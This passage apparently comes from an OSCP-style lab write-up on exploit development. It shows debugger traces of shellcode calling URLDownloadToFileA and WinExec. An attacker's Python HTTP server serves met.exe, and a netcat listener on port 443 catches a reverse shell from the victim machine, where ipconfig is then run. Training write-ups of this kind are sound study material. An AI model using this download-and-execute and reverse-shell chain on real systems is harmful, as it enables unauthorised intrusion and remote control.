eax=00000000 ebx=6e6d0000 ecx=1cd45f42 edx=00000001 esi=02d2f553 edi=02d2fe0b
eip=0294018a esp=02d2f520 ebp=02d2fb90 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
0294018a 8d8500010000    lea     eax,[ebp+100h]
0:003> t
eax=02d2fc90 ebx=6e6d0000 ecx=1cd45f42 edx=00000001 esi=02d2f553 edi=02d2fe0b
eip=02940190 esp=02d2f520 ebp=02d2fb90 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
02940190 50              push    eax
0:003> t
eax=02d2fc90 ebx=6e6d0000 ecx=1cd45f42 edx=00000001 esi=02d2f553 edi=02d2fe0b
eip=02940191 esp=02d2f51c ebp=02d2fb90 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
02940191 ff9590000000    call    dword ptr [ebp+90h]  ss:0023:02d2fc20={KERNEL32!WinExec (77774020)}
0:003> p
eax=00000002 ebx=6e6d0000 ecx=c44eaa71 edx=005b0a08 esi=02d2f553 edi=02d2fe0b
eip=02940197 esp=02d2f524 ebp=02d2fb90 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
02940197 31c9            xor     ecx,ecx

Based on the output above, everything seems to be in place, we just need to revert the machine and run the final script and it should work as expected if we don’t run into potential network issues. After resetting the entire environment, I saw some promising results; it works as expected!

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
# Call to URLDownloadToFileA

0:005> t
eax=00000000 ebx=6e6d0000 ecx=00000000 edx=00a10938 esi=0356f637 edi=0356feef
eip=01180184 esp=0356f5f4 ebp=0356fc74 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
01180184 ff5520          call    dword ptr [ebp+20h]  ss:0023:0356fc94={urlmon!URLDownloadToFileA (6e7b7490)}
0:005> p
ModLoad: 6dc60000 6dcbe000   C:\Windows\SYSTEM32\msiso.dll
ModLoad: 72cc0000 72d3b000   C:\Windows\system32\uxtheme.dll
ModLoad: 72e80000 72ea3000   C:\Windows\system32\dwmapi.dll
ModLoad: 65a20000 65ce4000   C:\Windows\SYSTEM32\WININET.dll
ModLoad: 74120000 74145000   C:\Windows\SYSTEM32\SspiCli.dll
ModLoad: 5c4c0000 5c4d2000   C:\Windows\SYSTEM32\ondemandconnroutehelper.dll
ModLoad: 73980000 739b0000   C:\Windows\SYSTEM32\IPHLPAPI.DLL
ModLoad: 6fdd0000 6fe7d000   C:\Windows\SYSTEM32\winhttp.dll
ModLoad: 73b90000 73be8000   C:\Windows\system32\mswsock.dll
ModLoad: 75e60000 75e67000   C:\Windows\System32\NSI.dll
ModLoad: 6f710000 6f718000   C:\Windows\SYSTEM32\WINNSI.DLL
ModLoad: 739b0000 73a44000   C:\Windows\SYSTEM32\DNSAPI.dll
ModLoad: 6d130000 6d138000   C:\Windows\System32\rasadhlp.dll
ModLoad: 6eb40000 6eb8e000   C:\Windows\System32\fwpuclnt.dll
eax=00000000 ebx=6e6d0000 ecx=d6aebaaa edx=00000001 esi=0356f637 edi=0356feef  <--------------------------------- # Shows the call to URLDownloadToFileA was successfull
eip=01180187 esp=0356f608 ebp=0356fc74 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
01180187 31c0            xor     eax,eax
1
2
3
4
┌──(oscp㉿OSCP-KL-01)-[~/OffSec]
└─$ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
192.168.249.10 - - [26/Feb/2025 20:01:15] "GET /met.exe HTTP/1.1" 200 -
1
2
3
4
5
6
7
8
9
10
11
12
# Call to WinExec

eax=0356fd74 ebx=6e6d0000 ecx=d6aebaaa edx=00000001 esi=0356f637 edi=0356feef
eip=01180191 esp=0356f600 ebp=0356fc74 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
01180191 ff9590000000    call    dword ptr [ebp+90h]  ss:0023:0356fd04={KERNEL32!WinExec (77774020)}
0:005> p
ModLoad: 72b20000 72bba000   C:\Windows\system32\apphelp.dll
eax=00000021 ebx=6e6d0000 ecx=284bb90a edx=77841670 esi=0356f637 edi=0356feef
eip=01180197 esp=0356f608 ebp=0356fc74 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
01180197 31c9            xor     ecx,ecx
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
┌──(oscp㉿OSCP-KL-01)-[~]
└─$ sudo nc -lvp 443           
[sudo] password for oscp: 
listening on [any] 443 ...
192.168.249.10: inverse host lookup failed: Unknown host
connect to [192.168.45.164] from (UNKNOWN) [192.168.249.10] 49975
Microsoft Windows [Version 10.0.16299.15]
(c) 2017 Microsoft Corporation. All rights reserved.

C:\Users\Offsec\Desktop>ipconfig /all
ipconfig /all

Windows IP Configuration

   Host Name . . . . . . . . . . . . : client
   Primary Dns Suffix  . . . . . . . : 
   Node Type . . . . . . . . . . . . : Hybrid
   IP Routing Enabled. . . . . . . . : No
   WINS Proxy Enabled. . . . . . . . : No

Ethernet adapter Ethernet0:

   Connection-specific DNS Suffix  . : 
   Description . . . . . . . . . . . : vmxnet3 Ethernet Adapter
   Physical Address. . . . . . . . . : 00-50-56-BF-7A-C9
   DHCP Enabled. . . . . . . . . . . : No
   Autoconfiguration Enabled . . . . : Yes
   IPv4 Address. . . . . . . . . . . : 192.168.249.10(Preferred) 
   Subnet Mask . . . . . . . . . . . : 255.255.255.0
   Default Gateway . . . . . . . . . : 192.168.249.254
   DNS Servers . . . . . . . . . . . : 192.168.249.254
   NetBIOS over Tcpip. . . . . . . . : Enabled

Tunnel adapter Teredo Tunneling Pseudo-Interface:

   Media State . . . . . . . . . . . : Media disconnected
   Connection-specific DNS Suffix  . : 
   Description . . . . . . . . . . . : Teredo Tunneling Pseudo-Interface
   Physical Address. . . . . . . . . : 00-00-00-00-00-00-00-E0
   DHCP Enabled. . . . . . . . . . . : No
   Autoconfiguration Enabled . . . . : Yes

C:\Users\Offsec\Desktop>
1
2
3
4
5
6
7
8
# Shell exits successfully

0:005> g
eax=000000c0 ebx=0119f990 ecx=0147f888 edx=77841670 esi=0119f7d0 edi=011922c0
eip=77841670 esp=0147f888 ebp=0147fa4c iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
ntdll!KiFastSystemCallRet:
77841670 c3              ret